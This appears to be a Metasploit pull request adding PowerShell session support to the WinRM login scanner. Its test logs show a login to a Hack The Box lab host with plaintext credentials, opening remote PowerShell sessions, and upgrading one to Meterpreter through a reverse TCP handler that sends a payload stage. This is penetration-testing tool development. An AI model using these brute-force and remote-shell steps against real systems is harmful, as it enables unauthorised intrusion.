Add WinRM PowerShell session support

[karanabe]

This adds a SessionType option to auxiliary/scanner/winrm/winrm_login so successful WinRM logins can create either the existing cmd-backed shell, a PSRP-backed PowerShell session, or automatically fall back to PowerShell when cmd shell creation is denied.

The default remains cmd, so existing behavior is preserved unless the user opts into powershell or auto.

The PowerShell path uses a Rex-safe WinRM PowerShell shell wrapper to avoid upstream finalizers during Rex HTTP cleanup. The auto path only falls back for cmd CreateShell / cmd.exe access denied errors.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use scanner/winrm/winrm_login
• Hack The Box Eighteen target, or Windows environment with WinRM enabled

Testing

msf > use scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > show options

Module options (auxiliary/scanner/winrm/winrm_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   DOMAIN            WORKSTATION      yes       The domain to use for Windows authentication
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             5985             yes       The target port (TCP)
   SSL               false            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   SessionType       cmd              yes       The WinRM shell type to create when CreateSession is enabled (Accepted: cmd, powershell, auto)
   THREADS           1                yes       The number of concurrent threads (max one per host)
   URI               /wsman           yes       The URI of the WinRM service
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host


View the full module info with the info, or info -d command.

SessionType=cmd (Default)

msf auxiliary(scanner/winrm/winrm_login) > run rhosts=10.129.30.43 domain=eighteen.htb username=adam.scott password=iloveyou1
[!] No active DB -- Credential data will not be saved!
[+] 10.129.30.43:5985 - Login Successful: eighteen.htb\adam.scott:iloveyou1
[!] 10.129.30.43:5985 - Credentials were correct, but WinRM cmd shell CreateShell was denied for user: adam.scott. Try setting SessionType to powershell or auto.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SessionType=powershell

msf auxiliary(scanner/winrm/winrm_login) > run rhosts=10.129.30.43 domain=eighteen.htb username=adam.scott password=iloveyou1 sessiontype=powershell
[!] No active DB -- Credential data will not be saved!
[+] 10.129.30.43:5985 - Login Successful: eighteen.htb\adam.scott:iloveyou1
[*] WinRM PowerShell session 3 opened (10.10.16.243:39103 -> 10.129.30.43:5985) at 2026-05-01 01:05:24 +0900
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SessionType=auto

msf auxiliary(scanner/winrm/winrm_login) > run rhosts=10.129.30.43 domain=eighteen.htb username=adam.scott password=iloveyou1 sessiontype=auto
[!] No active DB -- Credential data will not be saved!
[+] 10.129.30.43:5985 - Login Successful: eighteen.htb\adam.scott:iloveyou1
[!] 10.129.30.43:5985 - Credentials were correct, but WinRM cmd shell CreateShell was denied for user: adam.scott
[*] 10.129.30.43:5985 - Falling back to a WinRM PowerShell session because cmd shell CreateShell was denied
[*] WinRM PowerShell session 1 opened (10.10.16.243:41145 -> 10.129.30.43:5985) at 2026-05-01 02:27:55 +0900
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

WinRM PowerShell session interaction after login

msf auxiliary(scanner/winrm/winrm_login) > sessions -i 1
[*] Starting interaction with 1...

whoami
eighteen\adam.scott
^Z
Background session 1? [y/N]  N
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
^Z
Background session 1? [y/N]  y

WinRM PowerShell session upgrade

msf auxiliary(scanner/winrm/winrm_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: powershell. This module works with: shell, meterpreter.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.16.243:4433
msf auxiliary(scanner/winrm/winrm_login) >
[*] Sending stage (248902 bytes) to 10.129.30.43
[*] Meterpreter session 2 opened (10.10.16.243:4433 -> 10.129.30.43:56941) at 2026-05-01 02:28:40 +0900
[*] Stopping exploit/multi/handler

msf auxiliary(scanner/winrm/winrm_login) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                                                  Connection
  --  ----  ----                     -----------                                                  ----------
  1         powershell windows       WinRM PowerShell adam.scott:iloveyou1 (EIGHTEEN\adam.scott)  10.10.16.243:41145 -> 10.129.30.43:5985 (10.129.30.43)
  2         meterpreter x64/windows  EIGHTEEN\adam.scott @ DC01                                   10.10.16.243:4433 -> 10.129.30.43:56941 (10.129.30.43)

msf auxiliary(scanner/winrm/winrm_login) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > execute -f powershell.exe -i -a "-NoLogo -NoProfile"
Process 5128 created.
Channel 1 created.
PS C:\WINDOWS\system32> whoami
whoami
eighteen\adam.scott

Code Testing

RSpec output

bundle exec rspec \
  spec/lib/net/winrm/connection_spec.rb \
  spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb \
  spec/lib/msf/base/sessions/winrm_power_shell_spec.rb
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Run options:
  include {:focus=>true}
  exclude {:acceptance=>true}

All examples were filtered out; ignoring {:focus=>true}

Randomized with seed 61701
Net::MsfWinRM::RexWinRMConnection::ShellFactory ....
Msf::Sessions::WinrmPowerShell ................
WinRM Login Scanner ..........

Top 10 slowest examples (1.07 seconds, 73.6% of total time):
  WinRM Login Scanner SessionType option accepts cmd, powershell, and auto
    0.97974 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:41
  Net::MsfWinRM::RexWinRMConnection::ShellFactory#create_shell delegates other shell types to the upstream factory
    0.01844 seconds ./spec/lib/net/winrm/connection_spec.rb:28
  WinRM Login Scanner #create_winrm_session when SessionType is cmd creates the existing stdin cmd shell session
    0.01112 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:57
  Msf::Sessions::WinrmPowerShell#shell_command uses the existing PowerShell marker command handling
    0.00932 seconds ./spec/lib/msf/base/sessions/winrm_power_shell_spec.rb:153
  WinRM Login Scanner #create_winrm_session when SessionType is auto does not fall back to PowerShell when session registration raises a WSMan fault
    0.0093 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:161
  WinRM Login Scanner #create_winrm_session when SessionType is auto falls back to PowerShell on cmd.exe CreateShell access denied
    0.00911 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:143
  Msf::Sessions::WinrmPowerShell#type returns powershell
    0.00852 seconds ./spec/lib/msf/base/sessions/winrm_power_shell_spec.rb:78
  WinRM Login Scanner #create_winrm_session when SessionType is auto falls back to PowerShell on cmd CreateShell access denied
    0.00823 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:126
  WinRM Login Scanner #create_winrm_session when SessionType is powershell creates a WinRM PowerShell session
    0.00803 seconds ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:92
  Msf::Sessions::WinrmPowerShell Msf::Sessions::WinrmPowerShell::WinRMPowerShellStreamAdapter buffers WinRM fault output and ends the session with the fault reason
    0.0077 seconds ./spec/lib/msf/base/sessions/winrm_power_shell_spec.rb:126

Top 3 slowest example groups:
  WinRM Login Scanner
    0.10649 seconds average (1.06 seconds / 10 examples) ./spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb:5
  Net::MsfWinRM::RexWinRMConnection::ShellFactory
    0.0623 seconds average (0.24921 seconds / 4 examples) ./spec/lib/net/winrm/connection_spec.rb:5
  Msf::Sessions::WinrmPowerShell
    0.00826 seconds average (0.13217 seconds / 16 examples) ./spec/lib/msf/base/sessions/winrm_power_shell_spec.rb:5

Finished in 1.45 seconds (files took 2.94 seconds to load)
30 examples, 0 failures

Randomized with seed 61701
Coverage report generated for RSpec to coverage.
Line Coverage: 30.45% (7729 / 25384)

Rubocop output

$ ruby tools/dev/msftidy.rb modules/auxiliary/scanner/winrm/winrm_login.rb
modules/auxiliary/scanner/winrm/winrm_login.rb - [*] Rubocop not required for older modules skipping. If making a large update - run rubocop rubocop -a modules/auxiliary/scanner/winrm/winrm_login.rb and verify all issues are resolved

$ rubocop -a modules/auxiliary/scanner/winrm/winrm_login.rb
Inspecting 1 file
.

1 file inspected, no offenses detected

$ bundle exec rubocop \
  lib/net/winrm/connection.rb \
  lib/net/winrm/power_shell.rb \
  lib/msf/base/sessions/winrm_power_shell.rb \
  modules/auxiliary/scanner/winrm/winrm_login.rb \
  spec/lib/net/winrm/connection_spec.rb \
  spec/modules/auxiliary/scanner/winrm/winrm_login_spec.rb \
  spec/lib/msf/base/sessions/winrm_power_shell_spec.rb
Inspecting 7 files
.......

7 files inspected, no offenses detected